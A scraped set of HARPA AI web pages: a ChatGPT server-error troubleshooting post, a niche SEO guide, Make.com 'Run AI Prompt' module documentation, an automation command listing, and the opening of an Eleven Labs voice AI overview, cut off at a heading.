[\#](https://harpa.ai/blog/how-to-fix-chatgpt-internal-server-error#why-is-chatgpt-showing-%E2%80%9Cinternal-server-error%E2%80%9D?) Why is ChatGPT Showing “Internal Server Error”? ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- One primary reason for ChatGPT displaying an internal server error is a genuine server-side issue. This can arise if the chatbot's servers temporarily run out of computing capacity. Given its rapid rise in popularity, ChatGPT has become one of the most frequented websites globally. Meeting the demands of millions of simultaneous users is a challenging feat for any company. Although OpenAI, the organization behind ChatGPT, has made strides in accommodating the increased traffic, there are instances when the chatbot might feel overwhelmed. With a massive influx of visitors, ChatGPT can occasionally run out of network or computing resources. Users can verify the current status of ChatGPT by checking OpenAI’s status page. Alternatively, platforms like Downdetector can provide insights into any ongoing issues. Most outages are short-lived, so a simple strategy might be to check back after a while. If the status page indicates that all systems are operational, the problem might not be with ChatGPT or OpenAI. In such cases, users can try a few fixes to resolve the error independently. [\#](https://harpa.ai/blog/how-to-fix-chatgpt-internal-server-error#how-to-address-the-%E2%80%9Cinternal-server-error%E2%80%9D-on-chatgpt) How to Address the “Internal Server Error” on ChatGPT ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- There are several reasons why ChatGPT might display the internal server error message. These can range from an expired login session to hitting rate limits. Here are some additional solutions users can try: ### [\#](https://harpa.ai/blog/how-to-fix-chatgpt-internal-server-error#1.-refresh-the-page-and-verify-internet-connection) 1\. Refresh the Page and Verify Internet Connection OpenAI has implemented a verification step to ensure users are human, primarily to prevent large-scale misuse of ChatGPT. This validation, however, times out after a while. Users should refresh the page to reinitiate the verification. If the page doesn't load, it might indicate an issue with the internet connection or some software misconfiguration. Trying a different browser, computer, or Wi-Fi network might help. ### [\#](https://harpa.ai/blog/how-to-fix-chatgpt-internal-server-error#2.-re-login-to-your-account) 2\. Re-login to Your Account An expired login session can sometimes be the culprit. Since using ChatGPT necessitates an OpenAI account, users might need to re-login if they've been inactive for a while. ### [\#](https://harpa.ai/blog/how-to-fix-chatgpt-internal-server-error#3.-monitor-for-rate-limits) 3\. Monitor for Rate Limits Frequent users of ChatGPT might hit OpenAI’s rate limits. Free accounts have a cap on the number of responses they can request per hour. Once this limit is reached, users must wait for the counter to reset. ### [\#](https://harpa.ai/blog/how-to-fix-chatgpt-internal-server-error#4.-experiment-with-the-chatgpt-smartphone-app) 4\. Experiment with the ChatGPT Smartphone App ChatGPT's smartphone app offers a more streamlined interface and quicker response times. If users face the internal server error on their computers, trying the app on mobile might be a viable alternative. [\#](https://harpa.ai/blog/how-to-fix-chatgpt-internal-server-error#frequently-asked-questions-(faqs)) Frequently Asked Questions (FAQs) ----------------------------------------------------------------------------------------------------------------------------------------- ### [\#](https://harpa.ai/blog/how-to-fix-chatgpt-internal-server-error#1.-why-does-chatgpt-sometimes-not-work?) 1\. Why does ChatGPT sometimes not work? ChatGPT might be non-functional due to various reasons, such as internal server errors, internet connectivity issues, or server maintenance. ### [\#](https://harpa.ai/blog/how-to-fix-chatgpt-internal-server-error#2.-how-can-i-check-if-chatgpt-is-down?) 2\. How can I check if ChatGPT is down? Users can check the operational status of ChatGPT via OpenAI’s official status page. Platforms like Downdetector also provide real-time updates on outages. ### [\#](https://harpa.ai/blog/how-to-fix-chatgpt-internal-server-error#3.-are-there-any-alternatives-to-chatgpt?) 3\. Are there any alternatives to ChatGPT? Yes, several alternatives to ChatGPT are available, many of which rely on the same GPT-3 language model. These alternatives offer similar output quality. ### [\#](https://harpa.ai/blog/how-to-fix-chatgpt-internal-server-error#4.-how-often-does-chatgpt-face-server-errors?) 4\. How often does ChatGPT face server errors? While exact frequencies are hard to determine, server errors are relatively rare. OpenAI continuously works to enhance server capacity and reduce downtimes. ### [\#](https://harpa.ai/blog/how-to-fix-chatgpt-internal-server-error#5.-is-there-a-premium-version-of-chatgpt-that-offers-more-stability?) 5\. Is there a premium version of ChatGPT that offers more stability? Yes, ChatGPT Plus is a subscription-based service that provides priority access to the chatbot, especially during high-demand periods. It also enhances the chatbot's response speed. [\#](https://harpa.ai/blog/how-to-fix-chatgpt-internal-server-error#more-chatgpt-troubleshooting-guides) More ChatGPT Troubleshooting Guides --------------------------------------------------------------------------------------------------------------------------------------------- * [How to Fix ChatGPT Too Many Responses in 1 Hour](https://harpa.ai/blog/how-to-fix-chatgpt-too-many-requests-error) * [How to Fix ChatGPT is at Capacity Right Now](https://harpa.ai/blog/how-to-fix-chatgpt-is-at-capacity-error) * [How to Fix ChatGPT Internal Server Error](https://harpa.ai/blog/how-to-fix-chatgpt-internal-server-error) * [How to Fix ChatGPT Error 1020](https://harpa.ai/blog/how-to-fix-chatgpt-error-1020) * [How to Fix ChatGPT Plugins Not Showing Up](https://harpa.ai/blog/how-to-fix-chatgpt-plugins-not-showing-up) * [ChatGPT SMS verification](https://harpa.ai/blog/how-to-bypass-chatgpt-sms-verification) * [ClaudeAI SMS verification](https://harpa.ai/blog/how-to-bypass-claude-ai-sms-verification) [![](https://harpa.ai/icon/lines/arrows/arrow-left.svg)](https://harpa.ai/blog/how-to-fix-chatgpt-is-at-capacity-error) [NEXT POST![](https://harpa.ai/icon/lines/arrows/arrow-right.svg)](https://harpa.ai/blog/how-to-fix-chatgpt-error-1020) Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | Niche SEO Mastery: Drive Traffic & Outrank Rivals [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER ![](https://harpa.ai/icon/lines/general/target-04.svg) Niche SEO Mastery: Drive Traffic & Outrank Rivals ================================================= OUTLINE NAVIGATE Niche businesses require a specialized SEO strategy to reach their target audience. With the right approach, niche sites can outrank competitors and attract qualified visitors. This in-depth guide reveals the key steps for planning and implementing effective niche SEO. [\#](https://harpa.ai/blog/niche-seo-mastery-drive-traffic-and-outrank-rivals#what-is-niche-seo-and-why-it-matters) What is Niche SEO and Why It Matters --------------------------------------------------------------------------------------------------------------------------------------------------------- A niche business serves a focused, specialized market. Common examples include: * Antique car restoration * Rare plant nurseries * Medical services for specific conditions While niche sites have a smaller target audience, SEO is still critical. With the right optimization, niche sites can compete with larger, more general sites. The key benefits of niche SEO include: * **Reach** your target buyers more efficiently. Generic sites struggle to connect with highly specific audiences. * **Stand out** with deep, authoritative content on a narrow topic. This builds trust and credibility. * **Rank higher** for specialized long-tail key phrases that precisely match user intent. * **Convert more customers** by engaging visitors who are already interested in your niche. Effective niche SEO helps niche sites punch above their weight online. Follow this comprehensive guide to build an SEO strategy tailored to your niche. [\#](https://harpa.ai/blog/niche-seo-mastery-drive-traffic-and-outrank-rivals#step-1:-conduct-thorough-niche-research) Step 1: Conduct Thorough Niche Research --------------------------------------------------------------------------------------------------------------------------------------------------------------- Thorough niche research provides the foundation for your optimization approach. Take time upfront to analyze: ### [\#](https://harpa.ai/blog/niche-seo-mastery-drive-traffic-and-outrank-rivals#search-volume) Search Volume * What key phrases do people search for your niche offerings? * Use tools like Google Keyword Planner, Keywords Everywhere or SEMrush to research and identify relevant keywords and phrases for your niche. * Look for keywords with decent search volume. Avoid trying to target obscure keywords with little traffic potential. * **Focus on user intent** - Make sure to select keywords that match the intent of your target audience. Are they looking for information? To make a purchase? Understanding this will allow you to create content that fits their needs. [More on optimizing for user intent](https://www.searchenginejournal.com/seo-strategic-insights-tactical-advice/383325/) . ### [\#](https://harpa.ai/blog/niche-seo-mastery-drive-traffic-and-outrank-rivals#competitor-analysis) Competitor Analysis * Who else ranks for your target keywords? * Analyze their on-page SEO, content strategy and backlinks using tools like SEMrush, Ahrefs or similar services. * Spot gaps where competitors are missing rankings. Use this info to shape your own keyword and content focus. * **Copy competitors' best keywords** - Look for terms competitors rank highly for that are also a good match for your business. These may be good targets for you as well. [More on this tactic](https://www.searchenginejournal.com/seo-strategic-insights-tactical-advice/383325/) . ### [\#](https://harpa.ai/blog/niche-seo-mastery-drive-traffic-and-outrank-rivals#serp-analysis) SERP Analysis * Search your target phrases and analyze the top-ranking results * What content formats are they using? How can you create something even better? * Do the top results follow Google's EAT (Expertise, Authoritativeness, Trustworthiness) guidelines? Use this to shape your own content strategy. * **Prioritize E-A-T** - Use the rankings as a model for how to create high-quality content focused on expertise, authoritativeness and trust. This will help your content stand out. [Read more about E-A-T](https://medium.datadriveninvestor.com/top-10-seo-tips-for-2023-5c6b4bbf6f9b) . In-depth niche research reveals precisely how to create optimized content that can outrank competitors. With those insights, you can start optimizing your site. [\#](https://harpa.ai/blog/niche-seo-mastery-drive-traffic-and-outrank-rivals#step-2:-optimize-on-page-elements) Step 2: Optimize On-Page Elements --------------------------------------------------------------------------------------------------------------------------------------------------- Carefully optimizing key on-page elements of your site sends clear signals to Google about your niche focus. Be sure to optimize: * **Page Titles:** Include your primary keyword phrase near the start of the title, before your brand name. * Example: `{Key phrase} | {Brand}` * **Meta Descriptions:** Summarize the page content and include key phrases. Write compelling descriptions to boost click-through rate. * **Headings:** Put your primary keyword in the H1 heading. Use related long-tail phrases in H2 and lower headings. * **Image Alt Text:** Include keywords in your image descriptions where relevant. This helps search engines understand the content. * **URL Structure:** Add key phrases into your URLs, like `example.com/keyword-phrase/`. This further reinforces page relevance. * **Internal Links:** Link to related content using anchor text with keywords. This helps search engines crawl and index your site. * **Body Content:** Seamlessly incorporate keywords into your page copy. Avoid awkward over-optimization. Focus on producing stellar content. * **Optimize for Discover** - Make sure your titles, descriptions and content are compelling and descriptive so you have a chance to rank in Google Discover as well. [More Discover optimization tips](https://nealschaffer.com/seo-best-practices/) . Optimizing these on-page elements signals search engines about your niche focus. Now it's time to spread the word by creating useful, unique content. [\#](https://harpa.ai/blog/niche-seo-mastery-drive-traffic-and-outrank-rivals#step-3:-produce-valuable-niche-content) Step 3: Produce Valuable Niche Content ------------------------------------------------------------------------------------------------------------------------------------------------------------- Creating in-depth, engaging content is the key to niche SEO success. Use your research to produce content that appeals to your audience. * **In-depth guides** - Write 4,000+ word definitive guides on your niche topics. Be detailed and link out to authoritative sources. * **How-to articles** - Create step-by-step tutorials for your niche. Include images, videos, or screen recordings to engage readers. * **Expert interviews** - Interview niche experts, suppliers or enthusiasts to share insider information. * **Case studies** - Highlight client success stories and examples to build trust and credibility. * **Product reviews** - Provide detailed reviews of niche gear, books, or other specialized offerings. * **Niche glossaries** - Explain terminology that newcomers to your niche may not understand. * **News & announcements** - Keep readers updated on the latest niche developments. * **Create high-quality content** - Focus on producing content that really resonates with your target audience and provides value. This helps build loyalty and trust. [Read more](https://www.searchenginejournal.com/seo-strategic-insights-tactical-advice/383325/) . Whatever you create, ensure your content stands out with useful insights readers won't find elsewhere. Optimize it for your target keywords, and promote it widely. [\#](https://harpa.ai/blog/niche-seo-mastery-drive-traffic-and-outrank-rivals#step-4:-build-high-quality-backlinks) Step 4: Build High-Quality Backlinks --------------------------------------------------------------------------------------------------------------------------------------------------------- Links remain crucial for SEO. Develop a mix of relevant niche links to support your rankings and amplify your content. * **Guest posts** - Pitch relevant blogs to contribute posts linking back to your content. Focus on quality over quantity. * **Roundups** - Reach out to be included in expert lists and "best of" articles related to your niche. * **Industry directories** - Get listed in niche directories like Crunchbase, Manta, or industry-specific hubs. * **Scholarships** - Offer niche scholarships and ask applicants to link to you. * **Sponsorships** - Sponsor niche events, contests, or initiatives in exchange for links and brand visibility. * **Optimize for semantics** - When building links, use keywords and surround text that clearly explains the relevance of the link for semantic SEO. [Read more](https://www.wordstream.com/blog/ws/2023/01/05/seo-trends) . Regularly analyze your link profile using tools like Ahrefs or SEMrush. This helps you catch unnatural links early and maintain a strong, relevant profile. [\#](https://harpa.ai/blog/niche-seo-mastery-drive-traffic-and-outrank-rivals#step-5:-promote-your-content) Step 5: Promote Your Content ----------------------------------------------------------------------------------------------------------------------------------------- Producing remarkable content is only step one. You also need to actively promote it to drive traffic and build links. * **Social media** - Share your latest content across niche Facebook Groups, subreddits, LinkedIn Groups, and anywhere your audience hangs out online. Engage to build followers. * **LinkedIn Publishing** - Repurpose your blog content into LinkedIn posts to reach professionals in your niche. * **Quora** - Provide helpful answers to niche questions and link to your content where relevant. * **HARO** - Respond to journalist requests on Help a Reporter Out to secure quality backlinks and press mentions. * **Paid Ads** - Run paid campaigns on platforms like Facebook, Instagram, Google, Reddit, or YouTube. Get your content in front of buyers actively searching for your niche. * **Mobile optimization** - Make sure your content is easy to consume on mobile devices. This helps ensure your audience sees it. [Read more](https://nealschaffer.com/seo-best-practices/) . Promoting your content widely helps maximize its impact. Closely measure results and double down on what works best. [\#](https://harpa.ai/blog/niche-seo-mastery-drive-traffic-and-outrank-rivals#step-6:-track-progress-with-analytics) Step 6: Track Progress with Analytics ----------------------------------------------------------------------------------------------------------------------------------------------------------- Reliable analytics are crucial for monitoring your niche SEO efforts and guiding ongoing optimization. Be sure to monitor: * **Google Analytics** - Track overall website traffic, engagement metrics, and conversions. * **Google Search Console** - Monitor keyword rankings, clicks and performance data. * **Rank tracking software** - Use tools like SEMrush, Ahrefs or Serpstat for detailed keyword ranking data. * **Core Web Vitals** - Keep an eye on page experience metrics to ensure your site delivers a smooth user experience. [Read more](https://nealschaffer.com/seo-best-practices/) . Analyze this data regularly, and use it to make informed tweaks to continuously improve your niche SEO results. [\#](https://harpa.ai/blog/niche-seo-mastery-drive-traffic-and-outrank-rivals#key-points-about-harpa-ai's-seo-build-in-commands:) Key points about HARPA AI's SEO build-in commands: ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- 1. Segment your audience - Break your audience into targetable groups with similar needs using the "**Segment your audience**" command. This allows you to tailor your content strategy. 2. Research keywords - Use commands like "**Extract and research SEO keywords**" and "**Keyword research**" to find high value keywords and analyze their competitiveness. This helps optimize content. 3. Create marketing strategies - Commands like "**Digital strategy generator"** and "**Marketing campaign ideas**" help you develop comprehensive digital marketing and content strategies. 4. Produce articles - Commands like **/outrank-article** and **/article-creator** help you create high quality, SEO optimized articles and meta data. 5. Optimize on-page elements - Commands like "**Landing page structure**" and "**SEO Audit**" help optimize your headlines, body content and images for on-page SEO. HARPA AI has a wide range of powerful commands to help marketers research keywords, create optimized content, structure sites, and ideate social media campaigns. [\#](https://harpa.ai/blog/niche-seo-mastery-drive-traffic-and-outrank-rivals#conclusion) Conclusion ----------------------------------------------------------------------------------------------------- With the right strategy, niche sites can outperform larger competitors. Start with in-depth research to inform your keyword targets and content approach. Optimize your on-page elements and produce useful content. Build links, promote your content, and track analytics to refine your niche SEO. The investment will pay off with more qualified website visitors who convert into happy, loyal customers. Use this comprehensive guide to develop an SEO approach tailored to your unique niche audience. [![](https://harpa.ai/icon/lines/arrows/arrow-left.svg)](https://harpa.ai/blog/seo-competitor-analysis) [NEXT POST![](https://harpa.ai/icon/lines/arrows/arrow-right.svg)](https://harpa.ai/blog/how-to-fix-chatgpt-too-many-requests-error) Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | Run AI Prompt in Make.com [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER ![](https://harpa.ai/img/misc/grid.svg) Run AI Prompt in Make.com ========================= CONTENTS [HARPA AI Web Browser Agent App](https://eu1.make.com/app/invite/c98499c16cfa22f1051f64346ef91aaa) comes with a **Run AI Prompt** action module to orchestrate and run AI-powered web automations in your browser. The **Run AI Prompt** is the most flexible and useful module for any IFTTT system: * You can pick any available HARPA connection by its title from the connections list in HARPA. This enables you to utilize OpenAI ChatGPT, Claude, and Gemini Web Session Connections at no API expense, alongside CloudGPT/API. * Using selected connection, run any prompt on any webpage without needing to build a dedicated AI Command. Works directly from Make.com with no extra custom setup. * The AI responses can be used as needed in subsequent modules. ### [\#](https://harpa.ai/grid/module-run-ai-prompt#how-to-remotely-run-ai-prompt-in-your-browser) How to Remotely Run AI Prompt in Your Browser Make sure you completed the [GRID Setup Steps](https://harpa.ai/grid/make-com-harpa-grid-setup-basics) . Then: 1. Create a new scenario in Make.com ![](https://harpa.ai/img/grid/harpa-grid-make-com-1.webp) 2. Click "**+**" button to add a **HARPA: Run AI Prompt** module to your scenario ![](https://harpa.ai/img/grid/run-ai-prompt-01.webp) 3. Create a connection to your Node: * Click **Create Connection** * Name your connection * Go to **HARPA** > **Automate tab >** Create and copy your **API Key** to Make.com module ![](https://harpa.ai/img/grid/harpa-grid-make-com-9.webp) 4. Specify the options: * **Prompt** _\[Required\]_: AI Prompt to run on your Node. You can: * use results from previous modules by dragging the icon into this field * enter a prompt of any length, within your selected connection's limits ![](https://harpa.ai/img/grid/run-ai-prompt-03.webp) * **Connection** _\[Optional\]_: The title of the AI connection to use for AI prompts. If not specified, or if the connection is not found, the default connection is used. ![](https://harpa.ai/img/grid/run-ai-prompt-02.webp) * **URL** _\[Optional\]_: The starting page URL to open in Node before running the prompt. * **Node** _\[Optional\]_: A target Node ID which should run the prompt. If omitted, the first available Node will be used. You can pass a single Node ID (such as **"r2d2"**), multiple Node IDs (such as **"r2d2 c3po pqtx"**), or a number (such as **"5"**) to run action over the first **N** available Nodes. 5. Click **Run once** in Make.com to test your propmt: ![](https://harpa.ai/img/grid/run-ai-prompt-04.webp) You can check the results directly in Make.com. HARPA GRID comes with **On Action Result** which provides a webhook if you want to run command asynchronously. [![](https://harpa.ai/icon/lines/arrows/arrow-left.svg)](https://harpa.ai/grid/module-run-ai-command) [NEXT POST![](https://harpa.ai/icon/lines/arrows/arrow-right.svg)](https://harpa.ai/grid/module-search-the-web) Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | Automation Library [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER [Go back](https://harpa.ai/library) Commands by HARPA AI [🤖\ \ Deep Research Bot\ \ Performs an in-depth online research to answer user queries. Split questions into sub-queries for deeper scans.\ \ HARPA AI\ \ 503\ \ 32](https://harpa.ai/library/deep-research-bot/6728a0a922b006c16f7f44e5) [📤\ \ Respond to Email\ \ Reply to emails in one click in your tone of voice. Launch on GMail, ProtonMail, Outlook, FastMail.\ \ HARPA AI\ \ 458\ \ 29](https://harpa.ai/library/respond-to-email/6728a0e322b006c16f7f4836) [♻️\ \ Telegram, WhatsApp & Discord summary\ \ Summarizes Telegram, WhatsApp or Discord chat messages within a specified amount, helping to quickly grasp the main essence of the discussion. Writes response drafts if required.\ \ HARPA AI\ \ 400\ \ 24](https://harpa.ai/library/telegram%2C-whats-app-%26-discord-summary/672b88ba30c666cf8e869d4f) [🔗\ \ LinkedIn Auto Search & Connect\ \ Automatically sends LinkedIn connection requests. First, search and filter for the people you're interested in. Then run this command on the results page to send connection requests. #make #grid #linkedin\ \ HARPA AI\ \ 374\ \ 23](https://harpa.ai/library/linked-in-auto-search-%26-connect/679cfa1e202cae245c3e252c) [🔗\ \ Extracts YouTube Links\ \ Extracts video links from a YouTube channel.\ \ HARPA AI\ \ 363\ \ 27](https://harpa.ai/library/extracts-you-tube-links/6728a0c222b006c16f7f4645) [📚\ \ WordPress Content Generator (via Webhook)\ \ Uses the web page content to write a WordPress-ready blog post in JSON format and sends it to Make.com.\ \ HARPA AI\ \ 351\ \ 25](https://harpa.ai/library/word-press-content-generator-(via-webhook)/6728a10f22b006c16f7f4a84) [🔍\ \ LinkedIn Search Results Export\ \ Export LinkedIn Profiles from search results. First, search and filter for the people you're interested in. Then, run this command on the search results page to extract their data. #make #grid #linkedin\ \ HARPA AI\ \ 308\ \ 20](https://harpa.ai/library/linked-in-search-results-export/6777c9ee03f75a52e5c63f0e) [🤖\ \ RUN AI PROMPT FROM API\ \ Run any prompt with any AI connection (ChatGPT / Claude / Gemini) using a GRID API, Make.com, Zapier etc.\ \ HARPA AI\ \ 305\ \ 13](https://harpa.ai/library/run-ai-prompt-from-api/6864254c439b56c5887477a4) [💊\ \ Template-Based Support Email Response Generator\ \ Acts as a customer support agent who answers questions using response templates that you provided as examples. #grid #make #email\ \ HARPA AI\ \ 302\ \ 22](https://harpa.ai/library/template-based-support-email-response-generator/679d1b3a202cae245c437fbc) [💡\ \ BNN.MX Data Analysis\ \ Send a PDF, screenshot, or any text containing KPI data or dashboard metrics so I can create a complete report about this information. Envía un PDF, captura de pantalla o cualquier texto que contenga datos de KPI o métricas de dashboard para que pueda crear un informe completo sobre esta información.\ \ HARPA AI\ \ 264\ \ 23](https://harpa.ai/library/bnnmx-data-analysis/680796f0c459cd3cc56e43ff) [🔗\ \ LinkedIn Connection \[NO MESSAGE\]\ \ Send a LinkedIn profile URL to connect with the target profile without a message. Works on English setup only. #linkedin #grid\ \ HARPA AI\ \ 240\ \ 17](https://harpa.ai/library/linked-in-connection-%5Bno-message%5D/679cbc61202cae245c33f0b9) [📚\ \ Autopost to WordPress in 1 Сlick (Webhook)\ \ Turn Any Webpage or YouTube video into a WordPress Blog Draft. Guide: https://harpa.ai/grid/wordpress-1-click-post-draft Make.com Scenario: https://eu1.make.com/templates/13922?templatePublicId=13922\ \ HARPA AI\ \ 233\ \ 8](https://harpa.ai/library/autopost-to-word-press-in-1-%D1%81lick-(webhook)/67d3fe70eea5a983d4452507) [🤖\ \ HARPA AI Meta-Prompt Generator\ \ Generates clear meta instructions for AI behavior and formatting while using system parameters to maintain consistency. Sets rules for how AI should respond and handle information.\ \ HARPA AI\ \ 201\ \ 13](https://harpa.ai/library/harpa-ai-meta-prompt-generator/675c1a4377626e6e0b533d85) [👩\ \ Web Service Support Agent\ \ Acts like a customer support agent answering questions grounded in the website content.\ \ HARPA AI\ \ 164\ \ 25](https://harpa.ai/library/web-service-support-agent/6728a0b422b006c16f7f4593) [📦\ \ Post & Comments Extraction\ \ Extracts discussions from Reddit, Facebook, Twitter, Telegram, WhatsApp, or Discord, as well as comments from YouTube, into a JSON file to send via a webhook or use in HARPA.\ \ HARPA AI\ \ 162\ \ 10](https://harpa.ai/library/post-%26-comments-extraction/6729078222b006c16f874d93) [📦\ \ Database Enrichment\ \ Works with your existing customer or lead database that has business email addresses. It analyzes domain data to enrich your database with additional information about your customers' businesses. #make #grid\ \ HARPA AI\ \ 157\ \ 13](https://harpa.ai/library/database-enrichment/6728a09322b006c16f7f43e3) [🧩\ \ Extract URLs From Page\ \ Extracts all urls from the current webpage.\ \ HARPA AI\ \ 153\ \ 13](https://harpa.ai/library/extract-urls-from-page/6728a0d422b006c16f7f474a) [📚\ \ WordPress Blog Writer\ \ Uses the web page content to write a WordPress-ready blog post in JSON format and send it via Make.com, Zapier, n8n etc. #grid #scenario ⭐️ DO NOT FORGET TO SET UP THE FORMAT ⭐️ ⭐️ RUN > CLICK SETTINGS⭐️ ⭐️ BY DEFAULT - HTML.⭐️ Make.com Template: https://make.com/en/integration/13848-daily-wordpress-blogging-automate-your-posts-with-google-sheets-harpa?templatePublicId=13848\ \ HARPA AI\ \ 151\ \ 13](https://harpa.ai/library/word-press-blog-writer/67c052c183301be3e7101ef1) [📦\ \ Convert Page to JSON\ \ Extract webpage data into structured and customizable JSON format. Results can be downloaded, sent via webhook, or used in other commands.\ \ HARPA AI\ \ 150\ \ 21](https://harpa.ai/library/convert-page-to-json/677982b503f75a52e5f383e6) [💼\ \ LinkedIn / CV Analyzer\ \ Find out if a given CV or LinkedIn Profile fits the Job Description.\ \ HARPA AI\ \ 140\ \ 11](https://harpa.ai/library/linked-in-%2F-cv--analyzer/681b3e5235b8fac8fbc4eeb3) [♻️\ \ Reddit Thread to a Blog Post or Tweet\ \ Сonverts Reddit threads and comments into a blog post, tweet etc., capturing the main idea and user's opinions.\ \ HARPA AI\ \ 134\ \ 9](https://harpa.ai/library/reddit-thread-to-a-blog-post-or-tweet/67290d6022b006c16f87cecb) [👥\ \ LinkedIn Company Employees Export\ \ Exports up to 5k employees from any LinkedIn company list. Find the employee list page by clicking the number of employees shown under the company name. #make #grid #linkedin\ \ HARPA AI\ \ 134\ \ 16](https://harpa.ai/library/linked-in-company-employees-export/6777c55503f75a52e5c5b773) [🔄\ \ Cold Outreach Email Generator\ \ Cold Outreach Email Generator for your promotion campaign. Works in Make.com scenarios and helps create personalized emails. #grid #make #automation\ \ HARPA AI\ \ 109\ \ 8](https://harpa.ai/library/cold-outreach-email-generator/67a22cb61a57f0776dfdfc6d) Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | Eleven Labs Voice AI Overview [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER ![](https://harpa.ai/icon/lines/media/microphone-01.svg) Eleven Labs Voice AI Overview ============================= OUTLINE NAVIGATE [\#](https://harpa.ai/blog/elevenlabs-voice-ai-innovation#key-takeaways) Key Takeaways --------------------------------------------------------------------------------------- * **Eleven Labs** is revolutionizing the voice generation process with cutting-edge AI technology. * The company's **AI-powered voice generator** has diverse applications, from content creation to customer service. * Ethical considerations are integral to Eleven Labs' approach to AI voice technology. [\#](https://harpa.ai/blog/elevenlabs-voice-ai-innovation#introduction-to-eleven-labs) Introduction to Eleven Labs ------------------------------------------------------------------------------------------------------------------- In the ever-evolving realm of technology, **Eleven Labs** stands as a beacon of innovation. With its mission to transform the landscape of **AI voice technology**, the company is setting new standards in **human-computer interaction**. But what exactly is AI voice technology, and why is it so significant? Let's delve deeper. ### [\#](https://harpa.ai/blog/elevenlabs-voice-ai-innovation#what-is-speech-ai?) What is Speech AI? **Speech AI** is a subset of artificial intelligence focused on generating **synthetic voice** that mimics **human speech**. Unlike traditional voice generation methods, AI-powered voice generators like the one developed by Eleven Labs offer a range of benefits: * **Natural-Sounding Voice**: The AI model renders human intonation and inflections with unrivaled fidelity. * **Customization**: Users can create **custom voices** for different applications. * **Multilingual Support**: The technology supports multiple languages, breaking down **language barriers**. [Eleven Labs: Generative Voice AI](https://elevenlabs.io/projects) ### [\#](https://harpa.ai/blog/elevenlabs-voice-ai-innovation#applications-and-use-cases-of-speech-ai) Applications and Use Cases of Speech AI The potential applications of **speech AI** are vast and varied: 1. **Content Creation**: AI voice technology allows **content creators** to produce **audio content** without the need for human narration. 2. **Customer Service**: AI-powered voice bots can handle customer queries efficiently. 3. **Educational Material**: The technology can be used to create interactive educational content. [AI Startup Can Now Generate Speech Using Your Voice In 30 Languages](https://decrypt.co/153544/ai-voice-cloning-30-languages-elevenlabs-startup/) [\#](https://harpa.ai/blog/elevenlabs-voice-ai-innovation#the-impact-of-ai-voice-technology) The Impact of AI Voice 